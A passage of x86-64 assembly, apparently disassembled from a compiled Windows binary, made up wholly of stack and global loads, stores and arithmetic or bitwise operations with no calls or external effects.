mov qword [rsp + 0xac80], rax
movzx eax, word [0x1401e89f8]
mov rcx, qword [rsp + 0xa1b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9cb8]
mov word [rcx], ax
lea rax, [rsp + 0x13d]
mov qword [0x1401e8bb8], rax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xac88], rax
mov rax, qword [rsp + 0x9c78]
movsx eax, word [rax]
mov rcx, qword [0x1401e8bb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1128], ax
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [rsp + 0xe3]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xac90], rax
mov eax, dword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5124]
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0xaac8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9da8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
movsx eax, word [0x1401e88d8]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x96e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
sub eax, ecx
mov rcx, qword [0x1401e8ac0]
mov byte [rcx], al
movzx eax, word [rsp + 0x105c]
mov word [rsp + 0x1390], ax
mov rax, qword [0x1401e89c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1160]
sub eax, ecx
mov word [rsp + 0x123c], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0x9d00]
mov ecx, dword [rsp + 0x4f24]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f84]
mov ecx, dword [rsp + 0x4fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9818]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5f8]
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9798]
shl rax, cl
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x9718]
movzx eax, word [rax]
mov word [rsp + 0x1394], ax
lea rax, [rsp + 0xb0]
mov qword [0x1401e8bc0], rax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x142]
sar eax, cl
mov byte [rsp + 0x83], al
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x1198]
xor eax, ecx
mov word [rsp + 0x12f0], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xaca0], rax
mov eax, dword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x4f00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f7c], eax
mov rax, qword [rsp + 0xa528]
mov rax, qword [rax]
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0x9c98]
mov rcx, qword [rsp + 0x9fa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa228]
mov qword [rcx], rax
lea rax, [rsp + 0x4f30]
mov qword [rsp + 0xacb0], rax
movsx eax, word [rsp + 0x132c]
movsx ecx, word [rsp + 0x1368]
and eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
lea rax, [rsp + 0x122]
mov qword [0x1401e8bc8], rax
movsx eax, byte [rsp + 0x148]
movsx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov word [rsp + 0x1398], ax
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11ac]
sub eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0x139c], ax
mov rax, qword [rsp + 0x9d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x510c], eax
mov rax, qword [rsp + 0xa0b0]
mov ecx, dword [rsp + 0x5090]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fa0]
mov qword [rsp + 0xacb8], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e87f4], al
lea rax, [rsp + 0x121]
mov qword [rsp + 0xacc0], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1374], ax
movzx eax, word [rsp + 0x1214]
movzx ecx, word [rsp + 0x1290]
and eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0x9728]
mov rcx, qword [rsp + 0x9e78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9ee0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov qword [rsp + 0xacc8], rax
mov eax, dword [rsp + 0x4f28]
movzx ecx, al
mov eax, dword [rsp + 0x4e68]
sar eax, cl
mov dword [rsp + 0x5098], eax
mov eax, dword [section..data]
mov dword [rsp + 0x5170], eax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1134]
shl eax, cl
mov rcx, qword [0x1401e8bb0]
mov word [rcx], ax
movsx eax, word [rsp + 0x10bc]
movsx ecx, word [rsp + 0x1068]
xor eax, ecx
mov rcx, qword [rsp + 0x9eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
sub eax, ecx
mov byte [rsp + 0x144], al
lea rax, [rsp + 0x130c]
mov qword [rsp + 0xacd0], rax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x140], al
mov eax, dword [rsp + 0x5068]
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x9db8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b40]
mov ecx, dword [rsp + 0x5010]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9268]
mov rax, qword [rax]
mov qword [rsp + 0xacd8], rax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0xacc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7076], al
movsx eax, word [rsp + 0x109c]
mov rcx, qword [0x1401e8ae0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa310]
movzx eax, word [rax]
mov word [rsp + 0x13a0], ax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0x106]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0xa438]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10c], al
mov eax, dword [rsp + 0x5144]
mov dword [rsp + 0x5178], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0x9700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ee8]
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7053], al
movsx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd3], al
movzx eax, word [rsp + 0x130c]
mov word [rsp + 0x13a4], ax
mov rax, qword [rsp + 0x9c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa290]
mov word [rcx], ax
lea rax, [rsp + 0x148]
mov qword [rsp + 0xace8], rax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8f0]
mov qword [rsp + 0xacf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacf0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov dword [rsp + 0x517c], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa858]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa038]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d50]
mov ecx, dword [rsp + 0x5020]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fb0], eax
lea rax, [rsp + 0x106c]
mov qword [0x1401e8bd0], rax
movzx eax, word [rsp + 0x105c]
mov word [rsp + 0x13a8], ax
mov rax, qword [0x1401e89f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xab], al
lea rax, [rsp + 0x12d8]
mov qword [rsp + 0xacf8], rax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0xa840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x9598]
mov ecx, dword [rsp + 0x5114]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov rax, qword [rax]
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0x9a88]
mov rax, qword [rax]
mov qword [rsp + 0xad08], rax
lea rax, [rsp + 0x116]
mov qword [0x1401e8bd8], rax
movzx eax, word [rsp + 0x13a4]
mov rcx, qword [rsp + 0xa140]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b0], ax
movzx eax, word [0x1401e7094]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c8], ax
lea rax, [rsp + 0x1150]
mov qword [rsp + 0xad10], rax
movsx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x115], al
mov eax, dword [rsp + 0x50e0]
mov dword [rsp + 0x5180], eax
mov rax, qword [rsp + 0x91c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
lea rax, [rsp + 0x4eec]
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x9f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xac20], rax
movsx eax, word [rsp + 0x1268]
movsx ecx, word [rsp + 0x12dc]
shl eax, cl
mov word [0x1401e87f0], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xab50]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9fc0]
mov byte [rcx], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0xad20], rax
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x1384]
or eax, ecx
mov word [rsp + 0x13a4], ax
mov rax, qword [rsp + 0xa040]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x90d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa610]
mov ecx, dword [rsp + 0x4e8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4e0]
mov eax, dword [rax]
mov dword [rsp + 0x5184], eax
mov rax, qword [rsp + 0x93b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9490]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c40]
movzx eax, word [rax]
mov word [rsp + 0x13ac], ax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [rsp + 0x9688]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e709c], ax
movzx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
movsx eax, byte [rsp + 0x9d]
mov rcx, qword [rsp + 0x9390]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x119], al
lea rax, [0x1401e8ba0]
mov qword [rsp + 0xad28], rax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x4ef8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e94], eax
lea rax, [rsp + 0x8f70]
mov qword [rsp + 0xad30], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9478]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa670]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa610]
mov dword [rcx], eax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0xad38], rax
lea rax, [rsp + 0x1324]
mov qword [0x1401e8be0], rax
movsx eax, word [0x1401e70e8]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1134], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x120c], ax
lea rax, [0x1401e7004]
mov qword [rsp + 0xad48], rax
mov rax, qword [rsp + 0x94f8]
mov ecx, dword [rsp + 0x5078]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cb0]
mov qword [rsp + 0xad50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad50]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa338]
mov qword [rcx], rax
lea rax, [rsp + 0x9b30]
mov qword [rsp + 0xad58], rax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9df0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9998]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa30]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8810]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8a70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x164], al
movsx eax, byte [rsp + 0x111]
movsx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0xa230]
movsx eax, word [rax]
mov rcx, qword [0x1401e89e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xa838]
mov eax, dword [rax]
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0x9cf0]
mov ecx, dword [rsp + 0x4ff0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
lea rax, [rsp + 0xa680]
mov qword [rsp + 0xad60], rax
mov rax, qword [rsp + 0x95b0]
mov rcx, qword [rsp + 0xa028]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9748]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x14b]
mov rcx, qword [rsp + 0x9448]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad20]
mov byte [rcx], al
lea rax, [rsp + 0xd5]
mov qword [0x1401e8be8], rax
mov rax, qword [0x1401e8aa0]
movzx eax, word [rax]
mov word [rsp + 0x13b0], ax
mov rax, qword [rsp + 0xab28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1398], ax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov word [rsp + 0x13b4], ax
mov rax, qword [0x1401e8aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x115c]
sub eax, ecx
mov word [rsp + 0x13a8], ax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xabd8], rax
mov eax, dword [rsp + 0x4f00]
mov dword [rsp + 0x518c], eax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x8e90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ea0], rax
mov eax, dword [rsp + 0x514c]
mov dword [rsp + 0x5190], eax
movzx eax, word [rsp + 0x126c]
mov rcx, qword [rsp + 0x9788]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e70f0], ax
mov rax, qword [0x1401e8930]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
xor eax, ecx
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x141]
mov byte [rsp + 0x165], al
movzx eax, word [rsp + 0x1280]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1158], ax
movzx eax, byte [0x1401e8795]
movzx ecx, byte [rsp + 0xea]
shl eax, cl
mov byte [rsp + 0x11d], al
lea rax, [rsp + 0xa028]
mov qword [rsp + 0xad68], rax
mov rax, qword [rsp + 0xa4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
mov dword [rsp + 0x5194], eax
mov rax, qword [rsp + 0xa450]
mov rcx, qword [rsp + 0x9860]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9540]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1080]
mov rcx, qword [0x1401e8aa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e88b0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11a]
mov rcx, qword [rsp + 0x9420]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab50]
mov byte [rcx], al
movzx eax, word [rsp + 0x1210]
mov word [rsp + 0x13b8], ax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x166], al
mov rax, qword [rsp + 0x9fb0]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x98c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fc0], eax
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xad70], rax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0xa2c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa2b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7047], al
lea rax, [rsp + 0x9e]
mov qword [rsp + 0xad78], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1300]
shl eax, cl
mov rcx, qword [rsp + 0x92d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12b]
mov byte [rsp + 0x167], al
movsx eax, word [rsp + 0x117c]
movsx ecx, word [rsp + 0x1034]
sar eax, cl
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x50e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f2c], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xad80], rax
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0xa328]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa00], rax
mov eax, dword [rsp + 0x4f90]
mov dword [rsp + 0x5198], eax
lea rax, [rsp + 0x126c]
mov qword [0x1401e8bf0], rax
movsx eax, word [0x1401e88d8]
mov rcx, qword [rsp + 0xa860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x94d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf0], al
lea rax, [rsp + 0x150]
mov qword [rsp + 0xad88], rax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x9f88]
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0x9678]
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5170], eax
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0x9488]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0x9e50]
mov eax, dword [rax]
mov dword [rsp + 0x519c], eax
movzx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0xa460]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8838]
mov byte [rcx], al
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11dc]
sub eax, ecx
mov word [rsp + 0x1000], ax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [0x1401e87a2]
sub eax, ecx
mov rcx, qword [rsp + 0xa438]
mov byte [rcx], al
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11d4]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
lea rax, [rsp + 0x50c4]
mov qword [rsp + 0xad98], rax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9810]
mov dword [rcx], eax
lea rax, [rsp + 0xa4f0]
mov qword [rsp + 0xada0], rax
mov rax, qword [rsp + 0xa348]
movzx ecx, al
mov rax, qword [rsp + 0xa1a8]
shl rax, cl
mov qword [rsp + 0x8e40], rax
mov rax, qword [0x1401e8950]
movzx eax, word [rax]
mov word [0x1401e8bf8], ax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xada8], rax
mov rax, qword [rsp + 0x9570]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
movzx eax, word [rsp + 0x124c]
movzx ecx, word [rsp + 0x1174]
xor eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x9248]
movzx eax, byte [rax]
mov byte [rsp + 0x169], al
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa630], rax
lea rax, [rsp + 0x8f40]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5094], eax
mov rax, qword [rsp + 0x9de8]
mov ecx, dword [rsp + 0x4ecc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa4]
movzx ecx, byte [rsp + 0x13a]
and eax, ecx
mov byte [0x1401e7056], al
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
mov word [rsp + 0x13bc], ax
mov rax, qword [rsp + 0xa758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1354]
sub eax, ecx
mov rcx, qword [rsp + 0x9b60]
mov word [rcx], ax
lea rax, [rsp + 0xf3]
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xa7a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x132c], ax
mov rax, qword [rsp + 0xa9c0]
mov rcx, qword [rsp + 0xa738]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xadc0], rax
mov rax, qword [rsp + 0x8d78]
mov rcx, qword [rsp + 0xa7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9de8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c18]
mov eax, dword [rax]
mov dword [rsp + 0x51a0], eax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8980]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov byte [0x1401e7077], al
movzx eax, word [rsp + 0x1278]
mov word [rsp + 0x13c0], ax
mov rax, qword [rsp + 0x99d8]
movsx eax, word [rax]
mov rcx, qword [0x1401e8ac8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x118c]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xadc8], rax
mov rax, qword [rsp + 0x8e90]
movzx ecx, al
mov rax, qword [0x1401e7018]
shl rax, cl
mov rcx, qword [rsp + 0x9ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0xadd0], rax
mov eax, dword [rsp + 0x4ddc]
mov ecx, dword [rsp + 0x4f6c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
mov rax, qword [0x1401e89c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e707a], al
lea rax, [rsp + 0xcb]
mov qword [rsp + 0xadd8], rax
movsx eax, word [0x1401e7078]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x118c], ax
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0xade0], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0xa318]
mov eax, dword [rax]
mov dword [rsp + 0x51a4], eax
mov rax, qword [rsp + 0x9838]
mov rcx, qword [rsp + 0x99a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9650]
mov dword [rcx], eax
